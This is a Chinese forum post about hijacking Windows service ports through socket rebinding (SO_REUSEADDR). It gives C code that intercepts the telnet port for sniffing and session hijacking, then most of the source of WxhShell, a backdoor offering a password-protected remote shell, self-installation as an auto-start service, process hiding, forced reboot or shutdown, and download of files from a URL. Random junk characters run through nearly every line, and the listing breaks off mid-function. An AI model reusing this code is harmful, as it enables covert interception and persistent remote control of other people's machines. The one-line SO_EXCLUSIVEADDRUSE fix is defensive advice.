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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \>C YC|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,`gl&iB  
[ { bV4  
  saddr.sin_family = AF_INET; ADpmvW f?  
du)~kU>l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .G+Pe'4a  
M@?xa/E64  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p;W.lcO`0  
DdVF,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kAu+zX>S+  
pek%08VSEU  
  这意味着什么?意味着可以进行如下的攻击: [1F* bI  
'ow.=1N-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =li|  
Y7vA`kjD-C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b|+wc6   
s VJ!FC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S(uf(q|{  
IRn2 |  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G(~;]xNW+  
r8,romE$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yQ^($#Yk  
<o+<H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~ug= {b  
OtGb<v<_H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j{NNSi3  
'A:x/iv}^  
  #include %K>.lh@  
  #include [o.B  
  #include F0:A]`|  
  #include    'k4E4OB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cOPB2\,  
  int main() ]|sAK%/  
  { }S3qBQTYL  
  WORD wVersionRequested; /r-aPJX  
  DWORD ret; `&-Mi[1  
  WSADATA wsaData; 8Goh4T H  
  BOOL val; Ay !G1;  
  SOCKADDR_IN saddr; v76D3'8  
  SOCKADDR_IN scaddr; WHlYo5?  
  int err; z,VD=Hnz  
  SOCKET s; jK' N((Hz  
  SOCKET sc; Ma+$g1$  
  int caddsize; bks/ `rIA  
  HANDLE mt; "m^' &L  
  DWORD tid;   Z7RiPSdxp  
  wVersionRequested = MAKEWORD( 2, 2 ); m+#iR}*1L  
  err = WSAStartup( wVersionRequested, &wsaData ); ET[k pL  
  if ( err != 0 ) { TOoQZTI  
  printf("error!WSAStartup failed!\n"); r\blyWi  
  return -1; i:Zm*+Gi  
  } $2u 'N:o  
  saddr.sin_family = AF_INET; WdnIp!  
   JqMDqPIQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %zSuK8kxV  
fwBRWr9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .VkbYK  
  saddr.sin_port = htons(23); Dgx8\~(E'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'w14sr%  
  { 1*dRK6  
  printf("error!socket failed!\n"); Bf$_XG3  
  return -1; #?XQ7Im  
  } '&sE=.  
  val = TRUE; (XXheC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 La@ +>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wN2QK6Oc  
  { I8QjKI (  
  printf("error!setsockopt failed!\n"); r)i>06Hd  
  return -1; PI*82,f3dE  
  } &R$CZU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JR@.R ,rII  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j~FD{%4N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~j-cS J3  
#Jna6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +Y V|ij  
  { yB3;  
  ret=GetLastError(); h(F<h_  
  printf("error!bind failed!\n"); =i(?deR  
  return -1; hRq3C1 mR  
  } 2CzaL,je[  
  listen(s,2); AQc,>{Lm  
  while(1) 5bA)j!#)|X  
  { ki{3IEOr}  
  caddsize = sizeof(scaddr); ,:%"-`a%  
  //接受连接请求 ) /v6l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lw :`M2P,  
  if(sc!=INVALID_SOCKET) MCT'Nw@A  
  { NNF>Xa`9,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e{KByFl  
  if(mt==NULL) )LdyC`S\c  
  { ~`D|IWMDq  
  printf("Thread Creat Failed!\n"); Z(ZiFPx2Z  
  break; HXoX  
  } b]7GmRekl  
  } %J8|zKT5t  
  CloseHandle(mt); @?[1_g_'P  
  } r@{~ 5&L  
  closesocket(s); ,&d@O>$E:  
  WSACleanup(); {<5ybbhLV  
  return 0; R@wjccu  
  }   5BR2?hO4  
  DWORD WINAPI ClientThread(LPVOID lpParam) wP57Pf0  
  { I"1;|`L~:  
  SOCKET ss = (SOCKET)lpParam; c5Q<$86  
  SOCKET sc; &|aqP \Q5  
  unsigned char buf[4096]; i[ $0a4  
  SOCKADDR_IN saddr; c)Ic#<e(  
  long num; DaH?@Q  
  DWORD val; XK"-'  
  DWORD ret; Uh'#izm[l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kEO7PK/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0[F:'_  
  saddr.sin_family = AF_INET; rS0DSGDq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VqE~c  
  saddr.sin_port = htons(23); gt\MS;jMa  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a,o_`s<  
  { {,cCEXag%  
  printf("error!socket failed!\n"); >I<r)w]  
  return -1; )?2e  
  } HK~xOAF  
  val = 100; ,KJw|x4}\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ a4/ELx  
  { e;GU T:  
  ret = GetLastError(); 2..,Sk  
  return -1; ~Xlrvb}LP  
  } bT6sb#"W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j Y6MjZI  
  { n9;;x%6.I  
  ret = GetLastError(); TM8 =U-A  
  return -1; huudBc A[  
  } &vovA} F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [DHoGy,P  
  { W[[bV  
  printf("error!socket connect failed!\n"); yIb,,!y9{  
  closesocket(sc); cV-1?h63  
  closesocket(ss); f/kI| Z  
  return -1; \*\R1_+  
  } 5/QRL\  
  while(1) cE iu)2*e  
  { ?k[p<Uo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3M0+"l(X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?%O3Oi Xz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Eh| .  
  num = recv(ss,buf,4096,0); K\^ 0_F K  
  if(num>0) l/y]nw  
  send(sc,buf,num,0); IZ3{>N V  
  else if(num==0) muW!xY  
  break; Ro=AADv@  
  num = recv(sc,buf,4096,0); T<-=nX  
  if(num>0) ?4CNkk=v  
  send(ss,buf,num,0); Cv)/7vyB8  
  else if(num==0) "7d-z<^n  
  break; z^nvMTC  
  } <?0~1o\Ur  
  closesocket(ss); j%V["?)  
  closesocket(sc); )c/Fasfg[P  
  return 0 ; |KYEK|  
  } "&Qctk`<P  
L5IbExjV  
<As9>5|%  
========================================================== g`k?AM\  
)R_E|@"  
下边附上一个代码,,WXhSHELL K~RoUE<3[  
._z 'g_c(  
========================================================== QMo}W{D  
 qW_u  
#include "stdafx.h" Q>qFM9Z  
~Cc.cce5  
#include <stdio.h> % p?b rc  
#include <string.h> r$wZt  
#include <windows.h> Ovw[b2ii  
#include <winsock2.h> MYe HS   
#include <winsvc.h> 2eQdQwX  
#include <urlmon.h> /cFzotr"9  
.w6eJ4 ]  
#pragma comment (lib, "Ws2_32.lib") uqyB5V0gh  
#pragma comment (lib, "urlmon.lib") K:y^OAZfV  
7?"y{R>E  
#define MAX_USER   100 // 最大客户端连接数 3}1ssU"T  
#define BUF_SOCK   200 // sock buffer 1on'^8]0  
#define KEY_BUFF   255 // 输入 buffer 4y}"Hy  
(/ " &  
#define REBOOT     0   // 重启 =wi*Nd7L  
#define SHUTDOWN   1   // 关机 *oI*-C  
bVr*h2 p  
#define DEF_PORT   5000 // 监听端口 Z< b"`ty.  
4\ /*jA  
#define REG_LEN     16   // 注册表键长度 qu6DQ@ ~YC  
#define SVC_LEN     80   // NT服务名长度 M~6@20$oW  
4YU/uQm  
// 从dll定义API ALd;$fd qf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m:Go-tk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >x:EJV   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fvo<(c#Y#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 4\g bv<  
s]B"qF A  
// wxhshell配置信息 B`#h{)[  
struct WSCFG { $<)Yyi>6E  
  int ws_port;         // 监听端口 ekf$dgoR  
  char ws_passstr[REG_LEN]; // 口令 }ublR&zlp  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?Ce#BwQ>  
  char ws_regname[REG_LEN]; // 注册表键名 vC/[^  
  char ws_svcname[REG_LEN]; // 服务名 ?T: jk4+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zjX7C~h^Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `kN #4p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~KIDv;HSb[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QYE7p\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WN a0,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U Lmg$T&  
U!q[e`B  
}; eQX`,9:5  
,35&G"JK5  
// default Wxhshell configuration @y~P&HUN  
struct WSCFG wscfg={DEF_PORT, Yig0/ "  
    "xuhuanlingzhe", MXAEX2xmme  
    1, &w~Xa( uu  
    "Wxhshell", 73NZ:h%=  
    "Wxhshell", FY;+PY@I{  
            "WxhShell Service", >X Qv?5  
    "Wrsky Windows CmdShell Service", mU{4g`Iw  
    "Please Input Your Password: ", Nofu7xiDw[  
  1, yDd[e]zS`  
  "http://www.wrsky.com/wxhshell.exe", Db03Nk>#  
  "Wxhshell.exe" \ a-CN>  
    }; Fq,N  
ddpl Pzm#  
// 消息定义模块 Fb Sa~uN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; * crw^e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ')PVGV(D+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @] .VQ<X|0  
char *msg_ws_ext="\n\rExit."; m^Lj+=Z"  
char *msg_ws_end="\n\rQuit."; r:.uBc&_  
char *msg_ws_boot="\n\rReboot..."; j64 4V|z  
char *msg_ws_poff="\n\rShutdown..."; M?:\9DDd  
char *msg_ws_down="\n\rSave to "; r:l96^xs  
Q^h5">P  
char *msg_ws_err="\n\rErr!"; mb\t/p  
char *msg_ws_ok="\n\rOK!"; 'wQy]zm$  
] V G?+  
char ExeFile[MAX_PATH]; saK;[&I*  
int nUser = 0; (ppoW  
HANDLE handles[MAX_USER]; ;( K MGir  
int OsIsNt; WVL#s?=g  
2>y:N.  
SERVICE_STATUS       serviceStatus; $Lq:=7&LRn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J1 tDO?  
6mG3fMih.  
// 函数声明 71iRG*O  
int Install(void); [ #]jC[  
int Uninstall(void); z%2w(&1  
int DownloadFile(char *sURL, SOCKET wsh); Kmry=`=A  
int Boot(int flag); LcUlc)YH5  
void HideProc(void); r\mPIr|  
int GetOsVer(void); X=_Z(;<&  
int Wxhshell(SOCKET wsl); (wL3 +  
void TalkWithClient(void *cs); X5E '*W  
int CmdShell(SOCKET sock); i-13~Dk  
int StartFromService(void); !UNNjBBP7  
int StartWxhshell(LPSTR lpCmdLine); ^8742.  
?V+wjw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P>htQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V/H@vKN2  
STT2o=   
// 数据结构和表定义 XJFnih  
SERVICE_TABLE_ENTRY DispatchTable[] = E%*AXkJ'dZ  
{ @\!!t{y  
{wscfg.ws_svcname, NTServiceMain}, F.KrZ3%4iB  
{NULL, NULL} {!K;`I[]v  
}; q) _r3   
ER<eX4oU  
// 自我安装 8tZ} ;="F  
int Install(void) 46ChMTt  
{ KM5 JZZP  
  char svExeFile[MAX_PATH]; ec'tFL#u{  
  HKEY key; 9.8,q  
  strcpy(svExeFile,ExeFile); DT? m/*  
h DtK nF  
// 如果是win9x系统,修改注册表设为自启动 _7 `E[&v  
if(!OsIsNt) { (t74a E pi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8kbBz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y +qus  
  RegCloseKey(key); qc-C>Ra  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q&wYc{TUbm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #<}kISV0  
  RegCloseKey(key); q!2<=:f  
  return 0; ;Uk!jQh  
    } AQn[*  
  } E4m:1=Nd~]  
} %MNk4UsV  
else {  ~^7  
"`]'ZIx[R/  
// 如果是NT以上系统,安装为系统服务 PN9^[X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ut;'Gk  
if (schSCManager!=0) Ld~4nc$H8  
{ pX]21&F  
  SC_HANDLE schService = CreateService ?H0m<jO8~  
  ( \*9Ua/H  
  schSCManager, S-P{/;c@  
  wscfg.ws_svcname, ~h|m&XK+Q  
  wscfg.ws_svcdisp, |$Xf;N37t  
  SERVICE_ALL_ACCESS, XW:%vJu^`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R\ q):,  
  SERVICE_AUTO_START, {c?ymkK  
  SERVICE_ERROR_NORMAL, %#4 +!  
  svExeFile, 0%;M VMH  
  NULL, GWh|FEqUbf  
  NULL, 9TW8o}k`  
  NULL, yjv&4pIc1  
  NULL, $P_x v  
  NULL ]W|RtdF3.N  
  ); K Dz]wNf  
  if (schService!=0) aZxO/b^j  
  { O 'Am RJ  
  CloseServiceHandle(schService); w[{*9  
  CloseServiceHandle(schSCManager); p  .aE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KE#$+,?  
  strcat(svExeFile,wscfg.ws_svcname); QB9A-U <J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S ]b xQa+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N.n1<  
  RegCloseKey(key); H\f/n`@,G  
  return 0; m|`VJ 0  
    }  I9Om#m  
  } P09,P  
  CloseServiceHandle(schSCManager); .hgH9$\  
} 5])8qb/F  
} @dl<-  
mQnL<0_<f  
return 1; PuU*vs3  
} "$Y(NFb  
BUV/twU)  
// 自我卸载 \@:j  
int Uninstall(void) y\z*p&I  
{ ( w5f(4  
  HKEY key; [nC4/V+-  
$&Ac5Zo%}  
if(!OsIsNt) { `M6YblnJZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1zR/HT  
  RegDeleteValue(key,wscfg.ws_regname); ac3_L$X[  
  RegCloseKey(key); g X8**g'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m/KjJ"s,  
  RegDeleteValue(key,wscfg.ws_regname); ,=x RoXYB}  
  RegCloseKey(key); e+x*psQ  
  return 0; GGp{b>E+ #  
  } {[N?+ZJD*L  
} cPm~` Zd  
} CCn/ udp@  
else { lf;~5/%wMG  
" C&x ,Ic  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IF^[^^v+H  
if (schSCManager!=0) dGa@<hg  
{ %/X2 l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .2/,XwIr  
  if (schService!=0) !b'IfDp[-!  
  { WySNL#>a  
  if(DeleteService(schService)!=0) { dUZ$wbV%h  
  CloseServiceHandle(schService); iW":DOdi_  
  CloseServiceHandle(schSCManager); Qz# 3p3N?  
  return 0; &6Ns7w6*z  
  } q< b"M$  
  CloseServiceHandle(schService); HmFNE$k  
  } l-Fmn/V  
  CloseServiceHandle(schSCManager); q'by;g*m  
} ([1=>Jw"  
} aDXpkG0E  
i{P%{hVb  
return 1; VmMh+)UZ  
} htQ;m)>J:  
=P)"NP7f'  
// 从指定url下载文件 ]|t9B/()i  
int DownloadFile(char *sURL, SOCKET wsh) @{'o#EJY  
{ x}_rnf_  
  HRESULT hr; S'|lU@P Cl  
char seps[]= "/"; jm4)gmC  
char *token; $m{{,&}k  
char *file; h<GyplG  
char myURL[MAX_PATH]; wXP_]-  
char myFILE[MAX_PATH]; /#@LRN<oCq  
o}d2N/T  
strcpy(myURL,sURL); PVZEB  
  token=strtok(myURL,seps); Q Xsfp  
  while(token!=NULL) +BU0 6lLD  
  { B*32D8t`u  
    file=token; Ia=&.,xub  
  token=strtok(NULL,seps); RFhU#  
  } gYRqqV  
MPqY?KF  
GetCurrentDirectory(MAX_PATH,myFILE); m9%yR"g9  
strcat(myFILE, "\\"); sw[<VsxjR  
strcat(myFILE, file); 4$ ..r4@  
  send(wsh,myFILE,strlen(myFILE),0); w4NZt|>5j;  
send(wsh,"...",3,0); |&9tU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l.sm~/  
  if(hr==S_OK) ]~$c~*0g  
return 0; 5sG ]3z+1  
else A&D2T  
return 1; zwKg  
t>XZ 3  
}  fF\*v  
)J{.Cx<E  
// 系统电源模块 GU2]/\W*a  
int Boot(int flag) o-L|"3 P  
{ ^ b=5 6~[  
  HANDLE hToken; EPQ&?[6  
  TOKEN_PRIVILEGES tkp; M4R%Gr,La  
M0Lon/%  
  if(OsIsNt) { f S(^["*G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6'S5sRA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YCtIeq%  
    tkp.PrivilegeCount = 1; `MN&(!&C*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .%|OGl ?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); { +i;e]c  
if(flag==REBOOT) { ^H f+du  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =c :lS&B  
  return 0; >l y&+3S  
} !a.3OpQ  
else { W ]a7&S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ej-=y2j{g  
  return 0; ;JMOsn}8  
} /%2:+w  
  } ?,.HA@T%  
  else { \Mobq  
if(flag==REBOOT) { ---Ks0\V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aa%Yk"V @  
  return 0; V5hp Y ]  
} 95_[r$C  
else { 46QYXmNQ}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J[I"/sdk-  
  return 0; de3yP,  
} J R 8 Z6  
} s@*,r@<  
X; e`y:9  
return 1; CUAg{]  
} +OV%B .  
l:>qR/|m  
// win9x进程隐藏模块 |;x fe"]  
void HideProc(void) (:tTx>V#  
{ ~ex~(AWh  
S-H-tFy\\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S jC)6mo  
  if ( hKernel != NULL ) Requ.?!fG;  
  { 7J #g1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eH"qI2A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5$ (b3]  
    FreeLibrary(hKernel); 'fp<FeTg  
  } NgDZ4&L  
T%N~oa  
return; \@iOnRuHn9  
} [| c@Yw  
j]cXLY  
// 获取操作系统版本 A8A:@-e8A  
int GetOsVer(void) uIVTs9\  
{ *!wO:< -  
  OSVERSIONINFO winfo; .3S\Rrv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,_wm,  
  GetVersionEx(&winfo); E@\d<c.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h^.tom g8  
  return 1; //`cwnjp  
  else RE(=! 8lGR  
  return 0; USHlb#*  
} _E x*%Qf.  
Q]2sj:  
// 客户端句柄模块 *Bb|N--jI  
int Wxhshell(SOCKET wsl) V'f&JQ A  
{ [qjAq@@N#q  
  SOCKET wsh; B6Wq/fl/  
  struct sockaddr_in client; aHVdClD2o  
  DWORD myID; hPEp0("  
<IHFD^3|j  
  while(nUser<MAX_USER) W>t&N  
{ 1DI"LIL  
  int nSize=sizeof(client); R9|2&pfm(M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3_R   
  if(wsh==INVALID_SOCKET) return 1; 3<~2"@J  
B~ 'VDOG$Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yP1Y3Tga=  
if(handles[nUser]==0) ~t.WwxY+  
  closesocket(wsh); n '0 $>Q  
else Npf7p  
  nUser++; pJ)+}vascR  
  } {YO%JTQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a@V/sh  
8f6;y1!;  
  return 0; R|Q_W X  
} #sm_.?P  
>TQBRA;'  
// 关闭 socket J4*:.8Ki  
void CloseIt(SOCKET wsh) w50Bq&/jX  
{ fW4cHB 9|  
closesocket(wsh); I ]WeZ,E  
nUser--; *]E7}bqb  
ExitThread(0); 95gsv\2  
} Vm,f3~  
3Q!J9t5dc  
// 客户端请求句柄 w$U/;C  
void TalkWithClient(void *cs) fEv<W  
{ +ia(%[  
n.)[MC}  
  SOCKET wsh=(SOCKET)cs; Fv7%TK{oe  
  char pwd[SVC_LEN]; 44fq1<.K  
  char cmd[KEY_BUFF]; 8y 4D9_{  
char chr[1]; -'p@ lk  
int i,j; gw&#X~em  
!=h|&Vta  
  while (nUser < MAX_USER) { ma]F%E+$  
~QEXB*X-g'  
if(wscfg.ws_passstr) { 8.;';[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P9tQS"Rs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /qz "I-a  
  //ZeroMemory(pwd,KEY_BUFF); |au qj2  
      i=0; >kDdWgRQ  
  while(i<SVC_LEN) { 5[j!\d}U  
XnI ;7J  
  // 设置超时 "jQe\  
  fd_set FdRead; "<jEI /  
  struct timeval TimeOut; mZ0oa-Iy  
  FD_ZERO(&FdRead); fO|~Oz<S  
  FD_SET(wsh,&FdRead); 0@FM^ejA#  
  TimeOut.tv_sec=8; e ka@?`  
  TimeOut.tv_usec=0; :?:j$ =nWN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,O&PLr8cJ?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rM >V=|9,  
F#}1{$)% /  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N;`[R>Z~  
  pwd=chr[0]; J PzQBc5e  
  if(chr[0]==0xd || chr[0]==0xa) { s eZ<52f2  
  pwd=0; Vw;ldEdx  
  break; V.gY1   
  }  \#+2;L  
  i++; >*t>U8  
    } <K=B(-~  
-C'X4C+  
  // 如果是非法用户,关闭 socket c%LB|(@j{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g<T`F  
} 4{pemqS*  
Vg,>7?]6h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q V UUuyF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wq_oh*"  
| 8L`osg  
while(1) { %d[xr h  
rX>y>{w~  
  ZeroMemory(cmd,KEY_BUFF);  ZV q  
< 8 Y<w|Hh  
      // 自动支持客户端 telnet标准   n-b<vEZw#  
  j=0; ">vYEkZ3  
  while(j<KEY_BUFF) { k@";i4}A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rn~Xu)@e  
  cmd[j]=chr[0]; ME10dr  
  if(chr[0]==0xa || chr[0]==0xd) { _hyxKrm' 6  
  cmd[j]=0; aEqI51I  
  break; k]/6/s\  
  } M+R)P +  
  j++; f~"V  
    } FvNSu"O~K1  
v.LUK  
  // 下载文件 wAOVH].  
  if(strstr(cmd,"http://")) { nM.?Q}yO~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eeJt4DV8v  
  if(DownloadFile(cmd,wsh)) B%g:Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nb!6YY=Ez-  
  else ;7n*PBUJJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ocuVDC  
  } UrcN?  
  else { PUZXmnB  
F%+rOT<5  
    switch(cmd[0]) { 6u, 0y$3  
  "QFADk1  
  // 帮助 aq,)6P`  
  case '?': { |m 5;M$M)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?! _pP|  
    break; ic]tUOC:  
  } :0j`yo:w  
  // 安装 //5_E7Ehu$  
  case 'i': { hCvLwZ?LF  
    if(Install()) Ufe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :9 iOuu  
    else Nx (pJp{S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6BN(^y#-X  
    break; kbT-Oz  2  
    } Cz);mOb%M%  
  // 卸载 4Z~Dxo  
  case 'r': { ^21f^>k(  
    if(Uninstall()) U>-#('  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Sv#f2`  
    else :+^$?[6]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `L*;58MA  
    break; PW//8lsR  
    } >Wit"p  
  // 显示 wxhshell 所在路径 ZFuJ2 :  
  case 'p': { 6ym)F!t8l  
    char svExeFile[MAX_PATH]; |wb(rua  
    strcpy(svExeFile,"\n\r"); hG;=ci3EE  
      strcat(svExeFile,ExeFile); y'O{8Q8T  
        send(wsh,svExeFile,strlen(svExeFile),0); 8U:dgXz  
    break; t{s*3k/  
    } UG'U D"  
  // 重启 /N{@g.edL  
  case 'b': {  <IDzv'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n9/0W%X>  
    if(Boot(REBOOT)) HWfX>Vf>}k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J$/BH\  
    else { N_k6UA9  
    closesocket(wsh); Ml/p{ *p  
    ExitThread(0); k Q(y^tW  
    } ]a|;G  
    break; ;GT)sI   
    } Jb.u^3R@  
  // 关机 Ib8{+j  
  case 'd': { khIa9Nm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ViT 5Jn7  
